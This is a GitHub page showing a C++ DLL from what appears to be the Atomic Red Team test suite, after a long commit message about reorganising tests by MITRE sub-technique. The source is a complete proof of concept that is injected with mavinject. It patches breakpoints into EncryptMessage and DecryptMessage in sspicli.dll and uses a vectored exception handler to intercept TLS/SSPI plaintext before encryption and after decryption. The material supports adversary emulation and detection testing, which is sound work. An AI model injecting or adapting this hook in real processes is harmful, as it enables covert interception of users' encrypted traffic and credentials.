24549e3866
* Initial transfer of atomics to MITRE subtechniques * Add GUIDs back in, attack_technique to string (#1019) * technique to string and add guids back in * technique to string and add guids back in * technique to string and add guids back in * technique to string and add guids back in * Subtechnique transfer T1220-T1546.005 (#1020) * Create T1222.001.yaml * Create T1222.002.yaml * Create T1505.002.yaml * Update T1543.003.yaml * Update AtomicService.cs * Update T1546.005.yaml * Delete T1222.yaml * Update T1482.yaml * Update T1485.yaml * Update T1220.yaml * Update T1489.yaml * Update T1490.yaml * Update T1496.yaml * Update T1505.003.yaml * Update T1505.yaml * Update T1518.001.yaml * Update T1518.yaml * Update T1529.yaml * Update T1543.004.yaml * Update T1546.001.yaml * Update T1546.002.yaml * Update T1546.002.yaml * Update T1546.001.yaml * Update T1543.004.yaml * Update T1543.002.yaml * Update T1543.001.yaml * Update T1518.001.yaml * Update T1546.004.yaml * Update T1546.003.yaml * Update T1531.yaml * Update T1222.001.yaml * Update T1222.002.yaml * Update T1505.002.yaml * Update T1505.003.yaml * Update T1518.001.yaml * Update T1543.001.yaml * Update T1546.005.yaml * Update T1546.004.yaml * Update T1546.003.yaml * Update T1546.002.yaml * Update T1546.001.yaml * Update T1543.004.yaml * Update T1543.003.yaml * Update T1543.002.yaml * added auto_generated_guid 1220 * added T1222.001 auto_generated_guid * Update T1222.002.yaml added auto_generated_guid entries * Update T1482.yaml auto_generated_guid added * Update T1485.yaml added auto_generated_guids * Update T1489.yaml added auto_generated_guids * Update T1490.yaml added auto_generated_guids * Update T1496.yaml added auto_generated_guid * Update T1505.002.yaml added auto_generated_guid from old T1505 same atomic * Update T1505.003.yaml added auto_generated_guid from previous atomic 1100 * Delete T1505.yaml no longer needed, moved to 1505.002 * Update T1518.yaml added auto_generated_guids * Update T1529.yaml added auto_generated_guids * Update T1531.yaml added auto_generated_guids * Update T1543.001.yaml added auto_generated_guid * Update T1543.002.yaml added auto_generated_guid * Update T1543.004.yaml added auto_generated_guid * Update T1546.001.yaml added auto_generated_guid * Update T1546.002.yaml added auto_generated_guid * Update T1546.003.yaml * Update T1546.004.yaml added auto_generated_guid * Update T1546.005.yaml added auto_generated_guid * add guids back in * fix spacing issue * fix spacing * fix spacing Co-authored-by: Carrie Roberts <clr2of8@gmail.com> * Sub-techniques T1053-T1113 - Updates (#1022) * Sub-techniques T1053-T1113 - Updates Updated techniques for sub-techniques. * minor fixes format fixing * Added GUIDs - Added GUIDs back - Fixed typo (T1054) - Fixed attack_technique from an array to a string * Sub-technique updates T1546.008 through T1574.011 (#1024) * sub technique updates * sub technique updates * sub technique updates * Carrie updates (#1017) * updated T1110,12,13 * updated T1114 * updated T1114 * updated T1115 * updated T1119 * updated T1123,24 * updated T1127 * updated T1114 * updated T1127 * updated T1132 * T1134.004 * T1134.004 * updated T1135 * updated T1136 * updated T1137 * updated T1140 * remove depracted T1153 * updated T1176 * updated T1197 * updated T1201 * updated T1202 * updated T1204 * updated T1207 * updated T1216 * updated T1204 * updated T1217 * updated T1218 * updated T1218 * updated T1219 * updated T1218 * attack_technique to string * Subtechnique transfer (#1025) * T1003 review * T1005 manual review changes * T1027.002 sub-technique review * T1027.004 sub-technique review * T1036 sub-technique review * T1037 sub-technique review * T1048 sub-technique review * YAML bugfixes * Adding auto-generated GUIDs back to tests * merging with Mike's PR * Merging with Carrie's PR * fix spacing Co-authored-by: Carrie Roberts <clr2of8@gmail.com> * Subtechnique fix (#1026) * add atomic_tests: element * add atomic_tests: element * more fixes * more fixes * more fixes * sub technique minor fixes 1 (#1027) * fixes * fixes * more fixes * more fixes * display name fix (#1028) * remove some deprecated stuff. reorganize a little (#1031) * Gendocs fix (#1033) * gendocs updates for subtechniques * add folders * ignore auto generated markdown files * remove tmp files * add tmp files * Generate docs from job=validate_atomics_generate_docs branch=subtechnique_transfer * navigator layer v3.0 * Generate docs from job=validate_atomics_generate_docs branch=subtechnique_transfer Co-authored-by: Matt Graeber <60448025+mgraeber-rc@users.noreply.github.com> Co-authored-by: Tsora-Pop <35981510+Tsora-Pop@users.noreply.github.com> Co-authored-by: Michael Haag <mike@redcanary.com> Co-authored-by: CircleCI Atomic Red Team doc generator <email>
148 lines
3.8 KiB
C++
148 lines
3.8 KiB
C++
#define SECURITY_WIN32 //Define First Before Imports.
|
|
|
|
#include <windows.h>
|
|
#include <stdio.h>
|
|
#include <Sspi.h> //Be sure to reference secur32.lib in Linker | Input | Additional Dependencies
|
|
|
|
FARPROC fpEncryptMessage; //Pointer To The Original Location
|
|
BYTE bSavedByte; //Saved Byte Overwritten by 0xCC -
|
|
|
|
FARPROC fpDecryptMessage; //Pointer To The Original Location
|
|
BYTE bSavedByte2; //Saved Byte Overwritten by 0xCC -
|
|
|
|
|
|
// Original Idea/Reference Blog Post Here:
|
|
// https://0x00sec.org/t/user-mode-rootkits-iat-and-inline-hooking/1108
|
|
// PoC by Casey Smith @subTee
|
|
// From PowerShell
|
|
// mavinject.exe $pid /INJECTRUNNING C:\AtomicTests\AtomicSSLHookx64.dll
|
|
// curl https://www.example.com
|
|
// Should Hook and Display Request/Response from HTTPS
|
|
|
|
|
|
|
|
|
|
BOOL WriteMemory(FARPROC fpFunc, LPCBYTE b, SIZE_T size) {
|
|
DWORD dwOldProt = 0;
|
|
if (VirtualProtect(fpFunc, size, PAGE_EXECUTE_READWRITE, &dwOldProt) == FALSE) {
|
|
return FALSE;
|
|
}
|
|
MoveMemory(fpFunc, b, size);
|
|
|
|
return VirtualProtect(fpFunc, size, dwOldProt, &dwOldProt);
|
|
}
|
|
|
|
//TODO, Combine HOOK Function To take 2 params. DLL and Function Name.
|
|
VOID HookFunction(VOID) {
|
|
fpEncryptMessage = GetProcAddress(LoadLibrary(L"sspicli.dll"), "EncryptMessage");
|
|
if (fpEncryptMessage == NULL) {
|
|
return;
|
|
}
|
|
|
|
bSavedByte = *(LPBYTE)fpEncryptMessage;
|
|
|
|
const BYTE bInt3 = 0xCC;
|
|
if (WriteMemory(fpEncryptMessage, &bInt3, sizeof(BYTE)) == FALSE) {
|
|
ExitThread(0);
|
|
}
|
|
}
|
|
|
|
VOID HookFunction2(VOID) {
|
|
fpDecryptMessage = GetProcAddress(LoadLibrary(L"sspicli.dll"), "DecryptMessage");
|
|
if (fpDecryptMessage == NULL) {
|
|
return;
|
|
}
|
|
|
|
bSavedByte2 = *(LPBYTE)fpDecryptMessage;
|
|
|
|
const BYTE bInt3 = 0xCC;
|
|
if (WriteMemory(fpDecryptMessage, &bInt3, sizeof(BYTE)) == FALSE) {
|
|
ExitThread(0);
|
|
}
|
|
}
|
|
|
|
SECURITY_STATUS MyEncryptMessage(
|
|
PCtxtHandle phContext,
|
|
ULONG fQOP,
|
|
PSecBufferDesc pMessage,
|
|
ULONG MessageSeqNo
|
|
)
|
|
{
|
|
|
|
char* buffer = (char*)((DWORD_PTR)(pMessage->pBuffers->pvBuffer) + 0x29); //Just Hardcode for PoC
|
|
|
|
::MessageBoxA(NULL, buffer, "MITM Intercept", 0);
|
|
|
|
if (WriteMemory(fpEncryptMessage, &bSavedByte, sizeof(BYTE)) == FALSE) {
|
|
ExitThread(0);
|
|
}
|
|
|
|
SECURITY_STATUS SEC_EntryRet = EncryptMessage(phContext, fQOP, pMessage, MessageSeqNo);
|
|
HookFunction();
|
|
return SEC_EntryRet;
|
|
}
|
|
|
|
SECURITY_STATUS MyDecryptMessage(
|
|
PCtxtHandle phContext,
|
|
PSecBufferDesc pMessage,
|
|
ULONG MessageSeqNo,
|
|
ULONG fQOP
|
|
)
|
|
{
|
|
|
|
if (WriteMemory(fpDecryptMessage, &bSavedByte2, sizeof(BYTE)) == FALSE) {
|
|
ExitThread(0);
|
|
}
|
|
|
|
SECURITY_STATUS SEC_EntryRet = DecryptMessage(phContext, pMessage, MessageSeqNo, &fQOP );
|
|
|
|
char* buffer = (char*)(pMessage->pBuffers->pvBuffer);
|
|
|
|
::MessageBoxA(NULL, buffer, "MITM Intercept", 0);
|
|
|
|
HookFunction2();
|
|
return SEC_EntryRet;
|
|
}
|
|
|
|
|
|
LONG WINAPI
|
|
MyVectoredExceptionHandler1(
|
|
struct _EXCEPTION_POINTERS *ExceptionInfo
|
|
)
|
|
{
|
|
UNREFERENCED_PARAMETER(ExceptionInfo);
|
|
#ifdef _WIN64
|
|
if (ExceptionInfo->ContextRecord->Rip == (DWORD_PTR)fpEncryptMessage) {
|
|
ExceptionInfo->ContextRecord->Rip = (DWORD_PTR)MyEncryptMessage;
|
|
}
|
|
|
|
if (ExceptionInfo->ContextRecord->Rip == (DWORD_PTR)fpDecryptMessage) {
|
|
ExceptionInfo->ContextRecord->Rip = (DWORD_PTR)MyDecryptMessage;
|
|
}
|
|
|
|
#else
|
|
if (ExceptionInfo->ContextRecord->Eip == (DWORD_PTR)fpEncryptMessage) {
|
|
ExceptionInfo->ContextRecord->Eip = (DWORD_PTR)MyEncryptMessage;
|
|
}
|
|
|
|
if (ExceptionInfo->ContextRecord->Eip == (DWORD_PTR)fpDecryptMessage) {
|
|
ExceptionInfo->ContextRecord->Eip = (DWORD_PTR)MyDecryptMessage;
|
|
}
|
|
|
|
#endif
|
|
return EXCEPTION_CONTINUE_SEARCH;
|
|
}
|
|
|
|
BOOL APIENTRY DllMain(HANDLE hInstance, DWORD fdwReason, LPVOID lpReserved) {
|
|
switch (fdwReason) {
|
|
case DLL_PROCESS_ATTACH:
|
|
AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)MyVectoredExceptionHandler1);
|
|
HookFunction();
|
|
HookFunction2();
|
|
::MessageBoxA(NULL, "Locked and Loaded!", "Boom!", 0);
|
|
break;
|
|
}
|
|
|
|
return TRUE;
|
|
}
|